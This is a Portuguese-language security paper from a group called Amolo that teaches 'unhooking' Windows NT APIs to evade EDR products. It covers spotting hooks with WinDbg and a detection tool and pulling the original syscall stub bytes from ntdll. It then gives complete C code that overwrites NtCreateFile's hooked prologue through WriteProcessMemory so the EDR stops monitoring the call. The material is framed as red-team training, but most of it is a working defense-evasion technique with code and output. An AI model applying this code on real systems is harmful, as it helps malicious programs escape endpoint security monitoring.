Amolo ☽

Unhooking Windows API para burlar EDRs

Autor: @br0sck

                  ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⠴⠶⠶⠶⠶⠶⠶⠶⠶⢤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⢀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠶⣤⡀⠀⠀⠀⠀⠀
                  ⠀⠀⢀⡴⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⡄⠀⠀⠀
                  ⠀⣰⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀
                  ⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀
                  ⣿⠀⠀⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⢹⡄
                  ⡏⠀⢰⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇
                  ⣿⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⢸⡇
                  ⢹⡆⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⣾⠀
                  ⠈⢷⡀⢸⡇⠀⢀⣠⣤⣶⣶⣶⣤⡀⠀⠀⠀⠀⠀⢀⣠⣶⣶⣶⣶⣤⣄⠀⠀⣿⠀⠀
                  ⠀⠈⢷⣼⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⠀⠀
                  ⠀⠀⠈⣿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⠃⠀⢸⡇⠀⠀⠀
                  ⠀⠀⠀⣿⠀⠀⠘⢿⣿⣿⣿⣿⡿⠃⠀⢠⠀⣄⠀⠀⠙⢿⣿⣿⣿⡿⠏⠀⠀⢘⡇⠀⠀⠀
                  ⠀⠀⠀⢻⡄⠀⠀⠀⠈⠉⠉⠀⠀⠀⣴⣿⠀⣿⣷⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⢸⡇⠀⠀⠀
                  ⠀⠀⠀⠈⠻⣄⡀⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠘⣟⠳⣦⡀⠀⠀⠀⠸⣿⡿⠀⢻⣿⡟⠀⠀⠀⠀⣤⡾⢻⡏⠁⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⢻⡄⢻⠻⣆⠀⠀⠀⠈⠀⠀⠀⠈⠀⠀⠀⢀⡾⢻⠁⢸⠁⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⢸⡇⠀⡆⢹⠒⡦⢤⠤⡤⢤⢤⡤⣤⠤⡔⡿⢁⡇⡿⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⠘⡇⠀⢣⢸⠦⣧⣼⣀⡇⢸⢀⣇⣸⣠⡷⢇⢸⠀⡇⠀⠀⠀⠀⠀⠀⠀
                  ⠀⠀⠀⠀⠀⠀⠀⣷⠀⠈⠺⣄⣇⢸⠉⡏⢹⠉⡏⢹⢀⣧⠾⠋⢠⡇⠀⠀⠀~ Se você deseja acalmar um EDR, crie e ofereça
                  ⠀⠀⠀⠀⠀⠀⠀⠀⠙⢷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠛⠁⠀⠀⠀⠀ o seu doce mais saboroso. Quanto mais doce, melhor
                  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⠶⠦⣤⣤⣤⡤⠶⠞⠋⠁⠀⠀⠀⠀⠀⠀ será o seu sabor e mais eficaz será para acalma-lo.





            ▓▓▓▓▓▓        ▓▓▓▓▓▓      ▓▓▓▓▓▓▓▓    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓    ▓▓▓▓    
          ▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓  
          ▓▓▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒          ▒▒▒▒▒▒▒▒▒▒▓▓  
          ▓▓▒▒                           Sumário                      ▒▒▓▓  
          ▓▓▒▒                                                        ▒▒▓▓  
            ▓▓▒▒                     1. Introdução                    ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▓▓▒▒                                                      ▒▒▓▓  
          ▓▓▒▒                     2. O que é Hook?                   ▒▒▓▓▓▓
          ▓▓▒▒                                                          ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                3. Como Funciona o Hook?              ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒                                                    ▒▒▓▓  
            ▓▓▒▒                                                      ▒▒▓▓  
            ▓▓▓▓▒▒               4. Detectando os Hooks               ▒▒▓▓▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                                                        ▒▒▓▓
            ▓▓▒▒                   5. Os Cincos Bytes                   ▒▒▓▓
            ▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▒▒  
            ▓▓▒▒                                                      ▒▒▒▒  
          ▓▓▓▓▒▒                 6. Unhooking uma API                 ▒▒▒▒  
          ▓▓▒▒                                                        ▒▒▓▓  
          ▓▓▓▓▒▒                                                      ▒▒▓▓▓▓
            ▓▓▒▒                                                      ▒▒▓▓
            ▓▓▒▒                7. Agradecimentos Finais              ▒▒▓▓
          ▓▓▓▓▒▒                                                        ▒▒▓▓
          ▓▓▓▓▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒    ▒▒▒▒▒▒    ▒▒▒▒▒▒▒▒  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒  ▒▒▓▓
            ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓  
                ▓▓▓▓▓▓        ▓▓▓▓▓▓    ▓▓▓▓▓▓      ▓▓▓▓      ▓▓▓▓▓▓▓▓▓▓  

        
╔══════════════════╗
║    Introdução    ║
╚══════════════════╝

Ao longo dos anos, empresas que desenvolvem mecanismos de seguranças contra ameaças vem modernizando suas soluções. Atualmente, muitas empresas protegem suas redes com mecanismos como Antivírus (AV) e Endpoint Detection and Response (EDR). Enquanto há um lado que almeja protege-se contra ameaças, há um outro lado que almeja quebrar a proteção contra ameaças, desenvolvendo inúmeras técnicas para atingir o seus objetivos.

Uma das técnicas usadas para burlar EDRs é conhecida como "Unhooking Windows API's".


╔═════════════════════════╗
║      O que é Hook?      ║
╚═════════════════════════╝

Em programação, "Hook" refere-se à técnica de interceptar ou substituir o comportamento de uma função ou método por meio de hooks para fins de modificação ou monitoramento. Isso geralmente é feito em nível de sistema operacional ou em aplicativos para alterar o fluxo normal de execução de determinadas funcionalidades.


╔═════════════════════════════════╗
║      Como funciona o Hook?      ║
╚═════════════════════════════════╝

A maioria dos sistemas EDRs usa hooks para detectar ações maliciosas, com foco principal em API's Nativas do Windows, conhecidas como NTAPI. As API's Nativas do Windows é usada principalmente no desenvolvimento de componentes internos do sistema operacional, como drivers de dispositivo, subsistemas e serviços de sistema. Ela é implementada na biblioteca ntdll.dll (NT Layer DLL) e oferece funcionalidades de baixo nível para gerenciamento de processos, manipulação de memória, acesso a arquivos e registros, controle de serviços, comunicação entre processos e muito mais.

Muitos executáveis maliciosos fazem uso das principais API's nativas que são extensivamente monitoradas pelos sistemas EDR:

* NtAllocateVirtualMemory
* NtCreateThread(Ex)
* NtOpenProcess
* NtProtectVirtualMemory
* NtReadVirtualMemory
* NtWriteVirtualMemory


╔═══════════════════════════════╗
║      Detectando os Hooks      ║
╚═══════════════════════════════╝

A ferramenta de depuração da Microsoft conhecida como WinDbg é uma ótima ferramenta para detectar se algum programa em execução está sendo ganchado. Você pode baixa-lo a partir do link abaixo:

https://learn.microsoft.com/pt-br/windows-hardware/drivers/debugger/debugger-download-tools

Execute o WinDbg e clique em "File > Open Executable...". Um prompt chamado "Command" irá aparecer e por ele você vai verificar o estado de uma API nativa do Windows. Irei usar a NTAPI NtCreateFile como exemplo para esse cenário.

Para ver o estado da NTAPI, digite "u NtCreateFile". O resultado tem que ser quase igual a esse:

╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64                                                 ║
║ Copyright (c) Microsoft Corporation. All rights reserved.                                                   ║
║                                                                                                             ║
║ CommandLine: C:\Users\Brosck\MyProgram.exe                                                                  ║
║                                                                                                             ║
║ ************* Path validation summary **************                                                        ║
║ Response                         Time (ms)     Location                                                     ║
║ Deferred                                       srv*                                                         ║
║ Symbol search path is: srv*                                                                                 ║
║ Executable search path is:                                                                                  ║
║ ModLoad: 00007ff6`7d230000 00007ff6`7d259000   MyProgram.exe                                                ║
║ ModLoad: 00007ffe`244d0000 00007ffe`246c8000   ntdll.dll                                                    ║
║ ModLoad: 00007ffe`23bb0000 00007ffe`23c6f000   C:\Windows\System32\KERNEL32.DLL                             ║
║ ModLoad: 00007ffe`22180000 00007ffe`22476000   C:\Windows\System32\KERNELBASE.dll                           ║
║ ModLoad: 00007ffe`1f420000 00007ffe`1f4b1000   C:\Windows\SYSTEM32\apphelp.dll                              ║
║ ModLoad: 00007ffe`238c0000 00007ffe`2396f000   C:\Windows\System32\ADVAPI32.dll                             ║
║ ModLoad: 00007ffe`23340000 00007ffe`233de000   C:\Windows\System32\msvcrt.dll                               ║
║ ModLoad: 00007ffe`22bd0000 00007ffe`22c6c000   C:\Windows\System32\sechost.dll                              ║
║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc6000   C:\Windows\System32\RPCRT4.dll                               ║
║ (4698.3d60): Break instruction exception - code 80000003 (first chance)                                     ║
║ ntdll!LdrpDoDebuggerBreak+0x30:                                                                             ║
║ 00007ffe`245a0910 cc              int     3                                                                 ║
║ 0:000> u NtCreateFile                               <-------------------------- Comando enviado             ║
║ ntdll!NtCreateFile:                                 <-------------------------- Resultado                   ║
║ 00007ffe`2456daf0 4c8bd1          mov     r10,rcx                                                           ║
║ 00007ffe`2456daf3 b855000000      mov     eax,55h                                                           ║
║ 00007ffe`2456daf8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1            ║
║ 00007ffe`2456db00 7503            jne     ntdll!NtCreateFile+0x15 (00007ffe`2456db05)                       ║
║ 00007ffe`2456db02 0f05            syscall                                                                   ║
║ 00007ffe`2456db04 c3              ret                                                                       ║
║ 00007ffe`2456db05 cd2e            int     2Eh                                                               ║
║ 00007ffe`2456db07 c3              ret                                                                       ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

Se houver algum hook na NTAPI, a resultado será parecido com esse:

╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64                                                 ║
║ Copyright (c) Microsoft Corporation. All rights reserved.                                                   ║
║                                                                                                             ║
║ CommandLine: C:\Users\Brosck\MyProgram.exe                                                                  ║
║                                                                                                             ║
║ ************* Path validation summary **************                                                        ║
║ Response                         Time (ms)     Location                                                     ║
║ Deferred                                       srv*                                                         ║
║ Symbol search path is: srv*                                                                                 ║
║ Executable search path is:                                                                                  ║
║ ModLoad: 00007ff6`7d230000 00007ff6`7d259000   MyProgram.exe                                                ║
║ ModLoad: 00007ffe`244d0000 00007ffe`246c8000   ntdll.dll                                                    ║
║ ModLoad: 00007ffe`23bb0000 00007ffe`23c6f000   C:\Windows\System32\KERNEL32.DLL                             ║
║ ModLoad: 00007ffe`22180000 00007ffe`22476000   C:\Windows\System32\KERNELBASE.dll                           ║
║ ModLoad: 00007ffe`1f420000 00007ffe`1f4b1000   C:\Windows\SYSTEM32\apphelp.dll                              ║
║ ModLoad: 00007ffe`238c0000 00007ffe`2396f000   C:\Windows\System32\ADVAPI32.dll                             ║
║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc4000   C:\Windows\System32\EDRAgent.dll   <------ DLL do EDR        ║
║ ModLoad: 00007ffe`23340000 00007ffe`233de000   C:\Windows\System32\msvcrt.dll                               ║
║ ModLoad: 00007ffe`22bd0000 00007ffe`22c6c000   C:\Windows\System32\sechost.dll                              ║
║ ModLoad: 00007ffe`22aa0000 00007ffe`22bc6000   C:\Windows\System32\RPCRT4.dll                               ║
║ (4698.3d60): Break instruction exception - code 80000003 (first chance)                                     ║
║ ntdll!LdrpDoDebuggerBreak+0x30:                                                                             ║
║ 00007ffe`245a0910 cc              int     3                                                                 ║
║ 0:000> u NtCreateFile                               <-------------------------- Comando enviado             ║
║ ntdll!NtCreateFile:                                 <-------------------------- Resultado diferente         ║
║ 00007ffe`2456daf0 4c8bd1          jmp     80000003  <-------------------------- Pulo para um endereço       ║
║ 00007ffe`2456daf3 b855000000      add     byte ptr [rax],al                                                 ║
║ 00007ffe`2456daf3 b855000000      add     byte ptr [rdi],cl                                                 ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

Eu desenvolvi uma ferramenta simples para detectar todas as NTAPI's que estão sendo ganchadas ao executar o programa. Ela é útil para saber quais NTAPI's estão sendo ganchadas pelo EDR, pois ela verifica todas.

Repositório:

https://github.com/Brosck/APIHookingDetector

Você pode baixar a versão compilada estática seguindo o link abaixo:

https://github.com/Brosck/APIHookingDetector/releases

Exemplo de execução:

╔═══════════════════════════════════════════════════════════════════════════════════════════╗
║ PS C:> .\Detector.exe -o output.txt                                                       ║
║                                                                                           ║
║                                                                                           ║
║    _   ___ ___   _  _          _   _             ___      _          _                    ║
║   /_\ | _ \_ _| | || |___  ___| |_(_)_ _  __ _  |   \ ___| |_ ___ __| |_ ___ _ _          ║
║  / _ \|  _/| |  | __ / _ \/ _ \ / / | ' \/ _` | | |) / -_)  _/ -_) _|  _/ _ \ '_|         ║
║ /_/ \_\_| |___| |_||_\___/\___/_\_\_|_||_\__, | |___/\___|\__\___\__|\__\___/_|           ║
║                                          |___/                                            ║
║                                                                                           ║
║                                    [Coded by Brosck]                                      ║
║                                                                                           ║
║ [*] NT API being hooked:                                                                  ║
║ ========================================================================================= ║
║ [-] NtAllocateVirtualMemory [0xXXXXXXXX != 0xXXXXXXXX]                                    ║
║ [-] NtOpenProcess [0xXXXXXXXX != 0xXXXXXXXX]                                              ║
║ [-] NtWriteVirtualMemory [0xXXXXXXXX != 0xXXXXXXXX]                                       ║
║ ...                                                                                       ║
╚═══════════════════════════════════════════════════════════════════════════════════════════╝

Para remover o hook da DLL do EDR no processo, é preciso substituir os 5 primeiros bytes através do endereço de memória da NTAPI.


╔═════════════════════════╗
║     Os Cincos Bytes     ║
╚═════════════════════════╝

Os cincos bytes de uma NTAPI são as instruções que tem como propósito definir a função da NTAPI. Elas são compostas por:

0x4C 0x8B 0xD1 0xB8 0xXX
------------------- ----
seguimento padrão   syscall

Os quatros primeiros bytes são padrões nos sistemas operacionais Windows, pode haver algum alteração pequena, mas nas versões recentes são compostas por esse seguimento de bytes.

O último byte é a syscall de uma API do sistema Windows, que ficará responsável por definir o que de fato a API é.

Usando a ferramenta CFF Explorer do Explorer Suite, é possível obter os cincos primeiros bytes de uma NTAPI através do seu endereço virtual relativo, conhecido como RVA.

Site da ferramenta: https://ntcore.com/?page_id=345

Siga os passos:
1 - Abra o CFF Explorer e vá para "File > Open" e coloque o caminho da NTDLL (C:/Windows/System32/ntdll.dll).

2 - Clique em "Export Directory" e procure pelo nome da NTAPI que deseja em "name". No meu caso o RVA é 0009DAF0.

3 - Clique em "Address Converter" e no campo "RVA" cole o endereço RVA da NTAPI que você escolheu.

0009DAF0 | 4C 8B D1 B8 55 00 00 00 F6 04 25 08 03 FE 7F 01
		   --------------
		   os cincos bytes

Esses são os cincos bytes da NTAPI NtCreateFile na versão do meu sistema Windows.

Salve os seus cincos bytes extraídos em algum lugar.


╔══════════════════════════════╗
║       Unhooking uma API      ║
╚══════════════════════════════╝

Para desengatar o hook, é necessário escrever na memória do processo os cincos bytes originais no endereço de memória da NTAPI. Para essa tarefa, iremos utilizar a API do Windows conhecida como WriteProcessMemory em um código C.

O código abaixo é a implementação de WriteProcessMemory para corrigir o hook para voltar a rotina padrão da NTAPI:

Definição de NtCreateFile
╔════════════════════════════════════════════════════════╗
║  typedef NTSTATUS(WINAPI* SysNtCreateFile)(            ║
║      PHANDLE FileHandle,                               ║
║      ACCESS_MASK DesiredAccess,                        ║
║      POBJECT_ATTRIBUTES ObjectAttributes,              ║
║      PIO_STATUS_BLOCK IoStatusBlock,                   ║
║      PLARGE_INTEGER AllocationSize,                    ║
║      ULONG FileAttributes,                             ║
║      ULONG ShareAccess,                                ║
║      ULONG CreateDisposition,                          ║
║      ULONG CreateOptions,                              ║
║      PVOID EaBuffer,                                   ║
║      ULONG EaLength                                    ║
║  );                                                    ║
╚════════════════════════════════════════════════════════╝

Sobrescrita de bytes
╔═════════════════════════════════════════════════════════════════════════════════════════╗
║ HMODULE ntdll = GetModuleHandleA("ntdll");                                              ║
║ SysNtCreateFile NtCreateFile = (SysNtCreateFile)GetProcAddress(ntdll, "NtCreateFile");  ║
║                                                                                         ║
║ HANDLE currentProc = GetCurrentProcess();                                               ║
║ WriteProcessMemory(currentProc, NtCreateFile, "\x4C\x8B\xD1\xB8\x55", 6, NULL);         ║
╚═════════════════════════════════════════════════════════════════════════════════════════╝

Enquanto o programa não passar pela função "WriteProcessMemory", a NTAPI NtCreateFile estará sendo engatada e monitorada pelo EDR. A partir do momento que o programa passar da função "WriteProcessMemory", a NTAPI será restaurada ao padrão e não haverá um hook sobre ela, resultando em um desengate de API do Windows.

O código abaixo representa o código completo do meu programa que irá desengatar o hook da NTAPI NtCreateFile:

╔════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║  #include <Windows.h>                                                                                ║
║  #include <stdio.h>                                                                                  ║
║  #include "winternl.h"                                                                                     ║
║  #pragma comment(lib, "ntdll")                                                                             ║
║                                                                                                            ║
║  #define NT_SUCCESS(x) ((x) >= 0)                                                                          ║
║                                                                                                            ║
║  typedef NTSTATUS(WINAPI* SysNtCreateFile)(                                                                ║
║    PHANDLE FileHandle,                                                                                     ║
║    ACCESS_MASK DesiredAccess,                                                                              ║
║    POBJECT_ATTRIBUTES ObjectAttributes,                                                                    ║
║    PIO_STATUS_BLOCK IoStatusBlock,                                                                         ║
║    PLARGE_INTEGER AllocationSize,                                                                          ║
║    ULONG FileAttributes,                                                                                   ║
║    ULONG ShareAccess,                                                                                      ║
║    ULONG CreateDisposition,                                                                                ║
║    ULONG CreateOptions,                                                                                    ║
║    PVOID EaBuffer,                                                                                         ║
║    ULONG EaLength                                                                                          ║
║  );                                                                                                        ║
║                                                                                                            ║
║    //==================================[EDR está monitorando]=================================             ║
║  int main()                                                                                                ║
║  {                                                                                                         ║
║    HMODULE ntdll = GetModuleHandleA("ntdll");                                                              ║
║    SysNtCreateFile NtCreateFile = (SysNtCreateFile)GetProcAddress(ntdll, "NtCreateFile");                  ║
║    if (NtCreateFile == NULL) {                                                                             ║
║      puts("[-] Nao foi possivel obter o endereço da função NtCreateFile");                                 ║
║      return 1;                                                                                             ║
║    }                                                                                                       ║
║                                                                                                            ║
║    HANDLE currentProc = GetCurrentProcess();                                                               ║
║    //=============================[EDR está monitorando até aqui]=============================             ║
║                                                                                                            ║
║    WriteProcessMemory(currentProc, NtCreateFile, "\x4C\x8B\xD1\xB8\x55", 6, NULL); // NTAPI desengatada    ║
║                                                                                                            ║
║                                                                                                            ║
║    //=============================[EDR não está monitorando mais]=============================             ║
║    HANDLE fileHandle;                                                                                      ║
║    OBJECT_ATTRIBUTES objectAttributes;                                                                     ║
║    IO_STATUS_BLOCK ioStatusBlock;                                                                          ║
║    UNICODE_STRING fileName;                                                                                ║
║                                                                                                            ║
║    RtlInitUnicodeString(&fileName, L"\\??\\C:\\Users\\Public\\openme.txt");                                ║
║    InitializeObjectAttributes(&objectAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);             ║
║                                                                                                            ║
║    NTSTATUS status;                                                                                        ║
║    if (!NT_SUCCESS(status = NtCreateFile(                                                                  ║
║      &fileHandle,                                                                                          ║
║      FILE_GENERIC_WRITE,                                                                                   ║
║      &objectAttributes,                                                                                    ║
║      &ioStatusBlock,                                                                                       ║
║      0,                                                                                                    ║
║      FILE_ATTRIBUTE_NORMAL,                                                                                ║
║      FILE_SHARE_WRITE,                                                                                     ║
║      FILE_OVERWRITE_IF,                                                                                    ║
║      FILE_SYNCHRONOUS_IO_NONALERT,                                                                         ║
║      NULL,                                                                                                 ║
║      0))) {                                                                                                ║
║      puts("[-] Nao foi possivel criar o arquivo");                                                         ║
║    }                                                                                                       ║
║    else {                                                                                                  ║
║      puts("[+] Arquivo criado");                                                                           ║
║    }                                                                                                       ║
║      return 0;                                                                                             ║
║  }                                                                                                         ║
╚════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
* https://github.com/AmoloHT/PapersArchives/tree/main/unhooking-winapi-to-bypass-edrs

Em seu código, experimente trocar o último byte para qualquer outro e execute seu programa.

Exemplo: "\x4C\x8B\xD1\xB8\x55" -> "\x4C\x8B\xD1\xB8\x01"

O seu programa não conseguirá prosseguir, pois você trocou para uma syscall diferente da que você realmente adicionou.

Meu exemplo após o último byte está correto:
╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ [+] Arquivo criado                                                                                                  ║
║                                                                                                                     ║
║ O C:\Users\Brosck\source\repos\Unhooking\x64\Release\Unhooking.exe (processo 1536) foi encerrado com o código 0.    ║
║ Pressione qualquer tecla para fechar esta janela...                                                                 ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

Meu exemplo após o último byte está incorreto:
╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ [-] Nao foi possivel criar o arquivo                                                                                ║
║                                                                                                                     ║
║ O C:\Users\Brosck\source\repos\Unhooking\x64\Release\Unhooking.exe (processo 1536) foi encerrado com o código 0.    ║
║ Pressione qualquer tecla para fechar esta janela...                                                                 ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝


Uma simples implementação da API WriteProcessMemory pode ser capaz de mudar a rotina de um programa que está sendo ganchado.


╔═════════════════════════════╗
║    Agradecimentos Finais    ║
╚═════════════════════════════╝

Muito obrigado a todos que chegaram até aqui, esse é um assunto que está sendo bem abordado atualmente dentro do hacking e é valioso ter esse conhecimento privilegiado sobre evasão. Esse assunto virou um requisito para quem trabalha com red team e sempre precisa encarar um EDR em um pentest interno.

Quero agradeçer também a todos os integrantes da Amolo por fazerem parte dessa equipe. Esse foi nosso primeiro aniversário e é muito gratificante estar com toda a equipe durante esse um ano.

Agradeço também a todos que acompanha todos os nossos conteúdos postados aqui e nas redes sociais.

É um prazer estar com todos vocês <3.

                            _--_
                            /   -)
                        ___/___|___
           ____-----=~~///|     ||||~~~==-----_____
         //~////////////~/|     |//|||||\\\\\\\\\\\\\
       ////////////////////|   |///////|\\\\\\\\\\\\\\\
      /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
     //~                  /\\|\\                      ~\\
                         ///W^\W\
                        ////|||\\\
                        ~~~~~~~~~~     

                 Feliz Aniversário Amolo!!